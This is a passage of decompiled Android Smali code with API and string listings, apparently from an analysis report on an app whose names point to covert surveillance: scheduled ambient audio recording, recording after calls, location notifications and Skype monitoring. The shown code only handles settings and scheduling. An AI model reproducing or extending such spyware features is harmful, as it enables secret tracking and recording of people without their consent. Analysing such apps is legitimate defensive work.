                    284move-result v1
                    285div-int/lit8 v1, v1, 0x3c
                    287invoke-static {v0, v1}, Lnet/vkurhandler/LocationNotifier;->b(Landroid/content/Context;I)V
                    288goto_171:
                    289iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    291invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    292move-result-object v0
                    294const-string v1, "record_env_after_end_call"
                    296iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->ab:Landroid/widget/EditText;
                    298invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                    299move-result-object v2
                    301invoke-interface {v2}, Landroid/text/Editable;->toString()Ljava/lang/String;
                    302move-result-object v2
                    303const v3, 0x5f5e0ff
                    305invoke-static {v2, v6, v3}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;II)I
                    306move-result v2
                    308invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    309move-result-object v0
                    311invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    313iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    315invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/SharedPreferences;)V
                    316return-void
                    317cond_197:
                    318invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    319move-result-object v0
                    321invoke-static {v0}, Lnet/vkurhandler/fx;->b(Landroid/content/Context;)V
                    322goto/16 :goto_158
                    323cond_19f:
                    324invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    325move-result-object v0
                    327invoke-static {v0}, Lnet/vkurhandler/LocationNotifier;->a(Landroid/content/Context;)V
                    328goto/16 :goto_171
                    APIs
                    • net.vkurhandler.SettingsActivity.b
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.c
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.d
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.e
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.f
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.g
                    • android.widget.TimePicker.setEnabled
                    • net.vkurhandler.SettingsActivity.g
                    • android.widget.TimePicker.isEnabled
                    • net.vkurhandler.SettingsActivity.g
                    • android.widget.TimePicker.setEnabled
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.h
                    • android.widget.Spinner.setEnabled
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.i
                    • android.widget.Button.setEnabled
                    • net.vkurhandler.SettingsActivity.j
                    • android.widget.Spinner.setEnabled
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.q
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.k
                    • android.widget.Button.setEnabled
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.r
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.l
                    • android.widget.EditText.setEnabled
                    • net.vkurhandler.SettingsActivity.m
                    • android.widget.Button.setEnabled
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.b
                    • java.util.HashMap.get
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.g
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.i
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.j
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.k
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • android.widget.CompoundButton.getId
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.m
                    • net.vkurhandler.SettingsActivity.n
                    • net.vkurhandler.MyApp.m
                    • net.vkurhandler.dj.f
                    • net.vkurhandler.dj.a
                    • android.widget.CompoundButton.getId
                    Strings
                    • com.skype.raider
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    3invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->b(Lnet/vkurhandler/SettingsActivity;)Landroid/content/SharedPreferences;
                    4move-result-object v0
                    6invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    7move-result-object v0
                    9iget-object v1, p0, Lnet/vkurhandler/fs;->b:Ljava/lang/String;
                    11invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    12move-result-object v0
                    14invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    16invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    17move-result v0
                    18const v1, 0x7f0a00b0
                    19if-ne v0, v1, :cond_26
                    21iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    23invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->c(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/LinearLayout;
                    24move-result-object v0
                    26invoke-static {v0, p2}, Lnet/vkurhandler/gn;->a(Landroid/view/View;Z)V
                    27goto_25: return-void
                    28cond_26:
                    29invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    30move-result v0
                    31const v1, 0x7f0a00da
                    32if-eq v0, v1, :cond_41
                    34invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    35move-result v0
                    36const v1, 0x7f0a00db
                    37if-eq v0, v1, :cond_41
                    39invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    40move-result v0
                    41const v1, 0x7f0a00dc
                    42if-ne v0, v1, :cond_87
                    43cond_41:
                    44iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    46invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->d(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/CheckBox;
                    47move-result-object v0
                    49invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    50move-result v0
                    51if-nez v0, :cond_70
                    53iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    55invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->e(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/CheckBox;
                    56move-result-object v0
                    58invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    59move-result v0
                    60if-nez v0, :cond_70
                    62iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    64invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->f(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/CheckBox;
                    65move-result-object v0
                    67invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    68move-result v0
                    69if-nez v0, :cond_70
                    71iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    73invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->g(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/TimePicker;
                    74move-result-object v0
                    75const/4 v1, 0x0
                    77invoke-virtual {v0, v1}, Landroid/widget/TimePicker;->setEnabled(Z)V
                    78goto/16 :goto_25
                    79cond_70:
                    80iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    82invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->g(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/TimePicker;
                    83move-result-object v0
                    85invoke-virtual {v0}, Landroid/widget/TimePicker;->isEnabled()Z
                    86move-result v0
                    87if-nez v0, :cond_25
                    89iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    91invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->g(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/TimePicker;
                    92move-result-object v0
                    93const/4 v1, 0x1
                    95invoke-virtual {v0, v1}, Landroid/widget/TimePicker;->setEnabled(Z)V
                    96goto/16 :goto_25
                    97cond_87:
                    98invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    99move-result v0
                    100const v1, 0x7f0a0052
                    101if-ne v0, v1, :cond_9a
                    103iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    105invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->h(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/Spinner;
                    106move-result-object v0
                    108invoke-virtual {v0, p2}, Landroid/widget/Spinner;->setEnabled(Z)V
                    109goto/16 :goto_25
                    110cond_9a:
                    111invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    112move-result v0
                    113const v1, 0x7f0a009f
                    114if-ne v0, v1, :cond_c8
                    116iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    118invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->i(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/Button;
                    119move-result-object v0
                    121invoke-virtual {v0, p2}, Landroid/widget/Button;->setEnabled(Z)V
                    123iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    125invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->j(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/Spinner;
                    126move-result-object v0
                    128invoke-virtual {v0, p2}, Landroid/widget/Spinner;->setEnabled(Z)V
                    130iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    132invoke-virtual {v0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    133move-result-object v0
                    135invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    136move-result-object v0
                    138invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->q()Lnet/vkurhandler/cx;
                    139move-result-object v0
                    141invoke-virtual {v0, p2}, Lnet/vkurhandler/cx;->a(Z)V
                    142goto/16 :goto_25
                    143cond_c8:
                    144invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    145move-result v0
                    146const v1, 0x7f0a00a3
                    147if-ne v0, v1, :cond_ed
                    149iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    151invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->k(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/Button;
                    152move-result-object v0
                    154invoke-virtual {v0, p2}, Landroid/widget/Button;->setEnabled(Z)V
                    156iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    158invoke-virtual {v0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    159move-result-object v0
                    161invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    162move-result-object v0
                    164invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->r()Lnet/vkurhandler/n;
                    165move-result-object v0
                    167invoke-virtual {v0, p2}, Lnet/vkurhandler/n;->a(Z)V
                    168goto/16 :goto_25
                    169cond_ed:
                    170invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    171move-result v0
                    172const v1, 0x7f0a00f5
                    173if-ne v0, v1, :cond_10a
                    175iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    177invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->l(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/EditText;
                    178move-result-object v0
                    180invoke-virtual {v0, p2}, Landroid/widget/EditText;->setEnabled(Z)V
                    182iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    184invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->m(Lnet/vkurhandler/SettingsActivity;)Landroid/widget/Button;
                    185move-result-object v0
                    187invoke-virtual {v0, p2}, Landroid/widget/Button;->setEnabled(Z)V
                    188goto/16 :goto_25
                    189cond_10a:
                    190invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    191move-result v0
                    192const v1, 0x7f0a009e
                    193if-ne v0, v1, :cond_12a
                    194if-eqz p2, :cond_25
                    196iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    198invoke-virtual {v0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    199move-result-object v0
                    201iget-object v1, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    203invoke-virtual {v1}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    204move-result-object v1
                    206invoke-static {v1}, Lnet/vkurhandler/gn;->o(Landroid/content/Context;)Ljava/util/List;
                    207move-result-object v1
                    209invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/util/List;)V
                    210goto/16 :goto_25
                    211cond_12a:
                    212invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    213move-result v0
                    214const v1, 0x7f0a00d8
                    215if-ne v0, v1, :cond_137
                    216sput-boolean p2, Lnet/vkurhandler/MyApp;->a:Z
                    217goto/16 :goto_25
                    218cond_137:
                    219invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    220move-result v0
                    221const v1, 0x7f0a00f4
                    222if-ne v0, v1, :cond_159
                    224iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    226invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    227move-result-object v0
                    229invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->b()Ljava/util/HashMap;
                    230move-result-object v0
                    232const-string v1, "com.skype.raider"
                    234invoke-virtual {v0, v1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                    235move-result-object v0
                    236check-cast v0, Lnet/vkurhandler/dj;
                    237if-eqz v0, :cond_25
                    239invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    240goto/16 :goto_25
                    241cond_159:
                    242invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    243move-result v0
                    244const v1, 0x7f0a00f2
                    245if-ne v0, v1, :cond_171
                    247iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    249invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    250move-result-object v0
                    252invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->g()Lnet/vkurhandler/dj;
                    253move-result-object v0
                    255invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    256goto/16 :goto_25
                    257cond_171:
                    258invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    259move-result v0
                    260const v1, 0x7f0a00f1
                    261if-ne v0, v1, :cond_189
                    263iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    265invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    266move-result-object v0
                    268invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->i()Lnet/vkurhandler/dj;
                    269move-result-object v0
                    271invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    272goto/16 :goto_25
                    273cond_189:
                    274invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    275move-result v0
                    276const v1, 0x7f0a00e1
                    277if-ne v0, v1, :cond_1a1
                    279iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    281invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    282move-result-object v0
                    284invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->j()Lnet/vkurhandler/dj;
                    285move-result-object v0
                    287invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    288goto/16 :goto_25
                    289cond_1a1:
                    290invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    291move-result v0
                    292const v1, 0x7f0a00f3
                    293if-ne v0, v1, :cond_1b9
                    295iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    297invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    298move-result-object v0
                    300invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->k()Lnet/vkurhandler/dj;
                    301move-result-object v0
                    303invoke-virtual {v0, p2}, Lnet/vkurhandler/dj;->a(Z)V
                    304goto/16 :goto_25
                    305cond_1b9:
                    306invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    307move-result v0
                    308const v1, 0x7f0a00e2
                    309if-eq v0, v1, :cond_1d4
                    311invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    312move-result v0
                    313const v1, 0x7f0a00e4
                    314if-eq v0, v1, :cond_1d4
                    316invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    317move-result v0
                    318const v1, 0x7f0a00e3
                    319if-ne v0, v1, :cond_1f1
                    320cond_1d4:
                    321iget-object v0, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    323invoke-static {v0}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    324move-result-object v0
                    326invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->m()Lnet/vkurhandler/dj;
                    327move-result-object v0
                    329iget-object v1, p0, Lnet/vkurhandler/fs;->a:Lnet/vkurhandler/SettingsActivity;
                    331invoke-static {v1}, Lnet/vkurhandler/SettingsActivity;->n(Lnet/vkurhandler/SettingsActivity;)Lnet/vkurhandler/MyApp;
                    332move-result-object v1
                    334invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->m()Lnet/vkurhandler/dj;
                    335move-result-object v1
                    337invoke-virtual {v1}, Lnet/vkurhandler/dj;->f()Z
                    338move-result v1
                    340invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    341goto/16 :goto_25
                    342cond_1f1:
                    343invoke-virtual {p1}, Landroid/widget/CompoundButton;->getId()I
                    344goto/16 :goto_25
                    APIs
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.b:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.c:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.c:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getBaseContext
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.h:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.sql.Timestamp.valueOf
                    • java.sql.Timestamp.getTime
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.i:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.sql.Timestamp.valueOf
                    • java.sql.Timestamp.getTime
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getBaseContext
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.h:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • org.json.JSONObject.put
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.i:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • org.json.JSONObject.put
                    • org.json.JSONObject.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.a
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getBaseContext
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.b
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getBaseContext
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.toString
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.j:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.split
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.k:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.split
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • org.json.JSONObject.toString
                    Strings
                    • arecord_schedule_mode
                    • arecord_schedule_when
                    • :00
                    • datetime_begin
                    • datetime_end
                    • :
                    • hour_begin
                    • minute_begin
                    • hour_end
                    • minute_end
                    • AudiorecordEnvironmentScheduleActivity
                    Position Instruction Meta Information
                    0const/4 v2, 0x0
                    1const/4 v1, 0x1
                    2const/4 v0, 0x0
                    3try_start_3:
                    4iget-object v3, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->b:Landroid/widget/Spinner;
                    6invoke-virtual {v3}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    7move-result v3
                    8packed-switch v3, :pswitch_data_17c
                    9move v1, v2
                    10goto_d: if-eqz v1, :cond_40
                    12iget-object v1, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->c:Landroid/content/SharedPreferences;
                    14invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    15move-result-object v1
                    17const-string v2, "arecord_schedule_mode"
                    19invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    20move-result-object v1
                    22invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    24iget-object v1, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->c:Landroid/content/SharedPreferences;
                    26invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    27move-result-object v1
                    29const-string v2, "arecord_schedule_when"
                    31invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    32move-result-object v0
                    34invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    36invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getBaseContext()Landroid/content/Context;
                    37move-result-object v0
                    38const v1, 0x7f060020
                    40invoke-virtual {p0, v1}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getString(I)Ljava/lang/String;
                    41move-result-object v1
                    42const/4 v2, 0x0
                    44invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    45move-result-object v0
                    47invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    48goto_40: return-void
                    49pswitch_41: new-instance v4, Ljava/lang/StringBuilder;
                    51iget-object v5, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->h:Landroid/widget/TextView;
                    53invoke-virtual {v5}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    54move-result-object v5
                    56invoke-interface {v5}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    57move-result-object v5
                    59invoke-static {v5}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    60move-result-object v5
                    62invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    64const-string v5, ":00"
                    66invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    67move-result-object v4
                    69invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    70move-result-object v4
                    72invoke-static {v4}, Ljava/sql/Timestamp;->valueOf(Ljava/lang/String;)Ljava/sql/Timestamp;
                    73move-result-object v4
                    75invoke-virtual {v4}, Ljava/sql/Timestamp;->getTime()J
                    76move-result-wide v4
                    77new-instance v6, Ljava/lang/StringBuilder;
                    79iget-object v7, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->i:Landroid/widget/TextView;
                    81invoke-virtual {v7}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    82move-result-object v7
                    84invoke-interface {v7}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    85move-result-object v7
                    87invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    88move-result-object v7
                    90invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    92const-string v7, ":00"
                    94invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    95move-result-object v6
                    97invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    98move-result-object v6
                    100invoke-static {v6}, Ljava/sql/Timestamp;->valueOf(Ljava/lang/String;)Ljava/sql/Timestamp;
                    101move-result-object v6
                    103invoke-virtual {v6}, Ljava/sql/Timestamp;->getTime()J
                    104move-result-wide v6
                    106invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    107move-result-wide v8
                    108cmp-long v8, v8, v6
                    109if-gez v8, :cond_9b
                    110sub-long v4, v6, v4
                    111const-wide/16 v6, 0x0
                    112cmp-long v4, v4, v6
                    113if-gtz v4, :cond_b1
                    114cond_9b:
                    115invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getBaseContext()Landroid/content/Context;
                    116move-result-object v1
                    117const v4, 0x7f060008
                    119invoke-virtual {p0, v4}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getString(I)Ljava/lang/String;
                    120move-result-object v4
                    121const/4 v5, 0x1
                    123invoke-static {v1, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    124move-result-object v1
                    126invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    127move v1, v2
                    128goto/16 :goto_d
                    129cond_b1: new-instance v0, Lorg/json/JSONObject;
                    131invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    133const-string v2, "datetime_begin"
                    135iget-object v4, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->h:Landroid/widget/TextView;
                    137invoke-virtual {v4}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    138move-result-object v4
                    140invoke-interface {v4}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    141move-result-object v4
